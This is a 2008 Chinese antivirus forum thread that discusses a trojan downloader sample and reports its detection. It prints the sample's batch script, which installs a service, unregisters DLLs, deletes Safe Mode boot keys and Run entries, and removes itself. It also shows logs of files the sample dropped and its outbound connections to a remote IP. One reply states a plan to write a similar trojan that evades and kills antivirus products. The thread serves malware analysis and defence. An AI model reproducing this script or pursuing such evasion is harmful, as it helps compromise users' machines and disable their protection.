Board logo

标题: 好久没有质量这么高的了过全部感染型！！！ [打印本页]
作者: 点饭的百度空间     时间: 2008-6-9 12:28    标题: 好久没有质量这么高的了过全部感染型！！！

“费尔主动防御也被过了，其他主动防御不清楚，下面跟帖的说把，感染d盘下全部可执行文件，没有防范措施的谨慎运行！！大家分析”




  

  

  


  






似乎很流行
BY:unknown author







qnlydkhkgof
besuujkbcncc
ucygywqolvspz
time 12:00:00
date 2004-08-17
ping 127.0.0.1 -n 3
sc.exe create hfhxsct BinPath= "C:\windows\hfhxsct.exe -win32" type= own type= interact start= auto DisplayName= mywjqweihilr
sc.exe description hfhxsct ixddsvdlsoneelkz
regsvr32.exe /u /s scrrun.dll
regsvr32.exe /u /s shimgvw.dll
regsvr32.exe /u /s itss.dll
regsvr32.exe /u /s vbscript.dll
regsvr32.exe /s jscript.dll
reg.exe delete HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /F
sc.exe start hfhxsct
time 20:38:38
date 2008-06-08

del "C:\WINDOWS\Media\Windows XP 开始.wav"
del "C:\WINDOWS\Media\Windows XP 信息栏.wav"
del "C:\WINDOWS\Media\Windows XP 弹出窗口已阻止.wav"
del "C:\Documents and Settings\Administrator.SNOOPY-B36AC7C9\桌面\FXPTJKC\FXPTJKC.exe" /F
del %0
exit
ebwgadoqjbt






这毒运行完后我的宠物“倒霉蛋”真的变倒霉蛋了，可怜的娃变大红叉了

创建时间 文件名 创建者
2008-06-08 21:07:52 C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR.SNOOPY-B36AC7C9\桌面\FXPTJKC\YQTKHTNODGPA.TMP C:\WINDOWS\EXPLORER.EXE
2008-06-08 21:07:52 C:\DOCUMENTS AND SETTINGS\ALL USERS\「开始」菜单\程序\启动\PLQZOMT.EXE C:\WINDOWS\RMXP1XM.EXE
2008-06-08 21:07:52 C:\WINDOWS\JYGRLHGZ.EXE C:\WINDOWS\RMXP1XM.EXE
2008-06-08 21:07:49 C:\WINDOWS\RMXP1XM.EXE C:\WINDOWS\WOWZDGLRLTPO.DLL
2008-06-08 20:58:56 C:\WINDOWS\WOWZDGLRLTPO.DLL C:\WINDOWS\HFHXSCT.EXE
2008-06-08 20:57:47 C:\DOCUMENTS AND SETTINGS\ALL USERS\「开始」菜单\程序\启动\ZPGSSOTYDLZ.EXE C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR.SNOOPY-B36AC7C9\桌面\FXPTJKC\FXPTJKC.EXE
2008-06-08 20:44:54 C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR.SNOOPY-B36AC7C9\桌面\FXPTJKC\HFHXSCT.EXE C:\WINDOWS\EXPLORER.EXE

时间 处理结果 可疑程序进程名 可疑程序文件创建者 描述
2008-06-08 21:08:05 阻止 C:\WINDOWS\RMXP1XM.EXE C:\WINDOWS\WOWZDGLRLTPO.DLL 试图修改程序文件
2008-06-08 20:59:38 放行 C:\WINDOWS\WOWZDGLRLTPO.DLL C:\WINDOWS\HFHXSCT.EXE 其它可疑动作

时间 进程名 路径及参数 源IP 源端口 目的IP 目的端口 操作
2008-06-08 21:08:26 PLQZOMT.EXE C:\DOCUMENTS AND SETTINGS\ALL USERS\「开始」菜单\程序\启动\PLQZOMT.EXE 0.0.0.0 1304 58.49.58.20 443 暂时禁止
2008-06-08 20:59:30 HFHXSCT.EXE C:\WINDOWS\HFHXSCT.EXE 0.0.0.0 2004 58.49.58.20 443 暂时放行

安全提示
如果您已经将微点主动防御软件升级到最新版本，微点将报警提示您发现木马":Trojan-Downloader.Win32.Agent.xkf
卡巴斯基升级到最新版本 Trojan-Downloader.Win32.Agent.seb”
作者: 点饭的百度空间     时间: 2008-6-9 13:13    标题: “磁碟机 3代.... 感染EXE”

转帖
作者: 471795251     时间: 2008-6-9 13:58
过几天我也做个这种木马……
来试试……
目标：
1 先过微点主防（这些年来越来越猛了……）
2 全过卡巴
3 全杀国内金山、瑞星
（江民不单独测试，给人家个面子，能查出来就查出来算了……）
作者: 点饭的百度空间     时间: 2008-6-9 19:46


  Quote:
Originally posted by 471795251 at 2008-6-9 13:58:
过几天我也做个这种木马……
来试试……
目标：
1 先过微点主防（这些年来越来越猛了……）
2 全过卡巴
3 全杀国内金山、瑞星
（江民不单独测试，给人家个面子，能查出来就查出来算了……）

看看样本哦 木马想过微点 很难
作者: simonfour     时间: 2008-6-9 20:04
啊！！我刚才运行的就是这个啊，恐怖！！！
作者: maliang     时间: 2008-6-10 21:33
确实够凶悍的！
作者: maliang     时间: 2008-6-10 21:43
确实够凶悍的！
作者: tustin     时间: 2008-6-10 22:02
咱们微点表现不错，赞一个
作者: 天使的愤怒     时间: 2008-6-11 17:05
哈哈，又是我们卡饭的兄弟o(∩_∩)o...，我也来自卡饭哦，呵呵。



欢迎光临 微点交流论坛 (http://bbs.micropoint.com.cn/) bbs.micropoint.com.cn